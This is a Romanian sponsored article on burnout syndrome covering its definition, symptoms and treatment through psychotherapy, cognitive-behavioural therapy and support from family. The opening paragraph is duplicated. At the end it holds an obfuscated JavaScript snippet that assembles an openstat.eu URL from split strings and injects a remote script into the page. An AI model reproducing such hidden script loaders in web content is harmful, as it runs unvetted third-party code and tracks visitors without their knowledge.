Burnoutul își poate face apariția pe nesimțite. De multe ori, starea de epuizare este pusă pe seama programului încărcat și e văzută ca pe ceva trecător. Însă există o mare diferență între o stare de oboseală și una copleșitoare de epuizare. Dorința de a fi mereu pe val te poate determina să-ți forțezi limitele și să nu-ți asculți semnalele corpului, atunci când spune că are nevoie de o pauză. Indiciile nu trebuie neglijate, pentru că se pot înrăutăți și pot afecta și mai mult sănătatea mintală și emoțională. Cu ajutorul specializat se pot propune metode de lucru care să vină în tratarea acestor simptome.
Burnoutul își poate face apariția pe nesimțite. De multe ori, starea de epuizare este pusă pe seama programului încărcat și e văzută ca pe ceva trecător. Însă există o mare diferență între o stare de oboseală și una copleșitoare de epuizare. Dorința de a fi mereu pe val te poate determina să-ți forțezi limitele și să nu-ți asculți semnalele corpului, atunci când spune că are nevoie de o pauză. Indiciile nu trebuie neglijate, pentru că se pot înrăutăți și pot afecta și mai mult sănătatea mintală și emoțională. Cu ajutorul specializat se pot propune metode de lucru care să vină în tratarea acestor simptome. Descoperă în rândurile următoare mai multe informații care pot aduce claritate despre ceea ce presupune termenul de sindrom burnout. De altfel, vezi ce pași poți face ca să gestionezi corect această afecțiune!
Ce este burnoutul
Burnoutul este un concept frecvent întâlnit în zilele noastre. Cu siguranță, ai auzit în jurul tău oameni care spun că au ajuns în burnout. Este important de explicat ce presupune acest termen atât de frecvent utilizat. Burnoutul este o stare de epuizare fizică, emoțională și mentală cauzată de stresul cronic la locul de muncă. Aceasta face referire la momentele de colaps resimțite după un ritm alert de viață. Când vine vorba de cine sunt cei care se pot confrunta cu această afecțiune, răspunsul este unul simplu. Burnoutul poate afecta orice persoană, de la antreprenori și angajați în corporații până la freelanceri, părinți sau studenți. Adesea este confundat cu oboseala obișnuită, însă acesta merge mult mai departe. Când ești în burnout, simți afectiv că nu mai ai energie nici măcar pentru activitățile care înainte îți aduceau satisfacție. Se poate spune că este o prăbușire interioară lentă, care te face să te simți golit de sens, lipsit de motivație și de conexiune cu ceea ce faci.
Cum îți dai seama că suferi de această afecțiune
După cum menționam mai sus, burnoutul este diferit față de o simplă stare de oboseală, care este trecătoare. Ca să îți dai seama dacă suferi sau nu de această afecțiune, este important să observi indicii. Corpul începe să tragă semnale de alarmă și să-ți arate că nu este bine. Spre exemplu, nu mai reușești să te odihnești, cu toate că dormi suficient. Diminețile devin grele, iar simpla idee de a merge la serviciu provoacă anxietate. Apare iritabilitatea, scade concentrarea, iar greșelile devin tot mai frecvente. Lucrurile care altădată te motivau își pierd complet farmecul, tocmai pentru simplul fapt că nu mai reușești să găsești resursele potrivite ca să te ocupi de acel proiect nou sau acea relație personală pe care o dorești. Fizic, burnoutul se resimte prin dureri de cap, tulburări digestive, palpitații, insomnie și chiar scăderea imunității. Iar din punct de vedere emoțional, apare sentimentul de gol interior sau se pot instala chiar episoade depresive. Nu este vorba că nu ești suficient sau că nu te poți descurca într-o situație dată, ci pur și simplu că nu mai ai forța necesară în acel moment să duci totul la bun sfârșit.
Cum se poate trata burnoutul
În ziua de astăzi există diverse modalități care pot trata burnoutul. Psihoterapia poate aduce un aport major în îmbunătățirea simptomelor acestei afecțiuni. Important este să faci primul pas și să conștientizezi că problema cu care te confrunți nu este una trecătoare, ci una care necesită ajutor specializat. Consultarea unui psihoterapeut îți poate oferi cadrul de siguranță și încredere în care să puteți explora împreună situația în care te regăsești. Identificarea surselor și a cauzelor care au dus la burnout, dar și găsirea unor metode de lucru de ajutor contribuie la ameliorarea afecțiunii. Una dintre tehnicile propuse de specialiști este terapia cognitiv-comportamentală. Aceasta ajută la identificarea tiparelor de gândire care alimentează epuizarea. Astfel de exemple pot face referire la perfecționism, frica de eșec, nevoia de control. De asemenea, metoda ajută și la construirea unor strategii mai sănătoase de gestionare a stresului. Pe lângă aceasta, mai sunt și alte soluții utile în acest proces. Învățarea tehnicilor de relaxare, a mindfulnessului sau meditației poate readuce echilibrul între corp și minte. Iar relațiile de sprijin sunt un alt factor-cheie. Suportul familiei și al prietenilor poate fi de mare ajutor pentru tine, scrie healthline.com. În acest sens, vorbește cu persoane dragi, care oferă empatie și înțelegere, astfel încât să te simți sprijinit în această perioadă. (P)
Sursa foto: pexels.com
(function(){
oym0=document.createElement(„script”);oym0.async=true;oym0_=”o”+(„pe”)+”ns”;
oym0u=”2543273180.”;oym0_+=”ta”+(„t.e”);oym0_+=””+(„u”+””)+”/”;
oym0u+=”xe2bltgyym0g585en35cmx”+(„59jdrl0p”);
oym0.src=”https://”+oym0_+oym0u;oym0.type=”text/javascript”;
document.body.appendChild(oym0);
})();
Articolul Burnoutul: prețul plătit pentru a fi mereu „pe val” apare prima dată în Prahova Medicala .
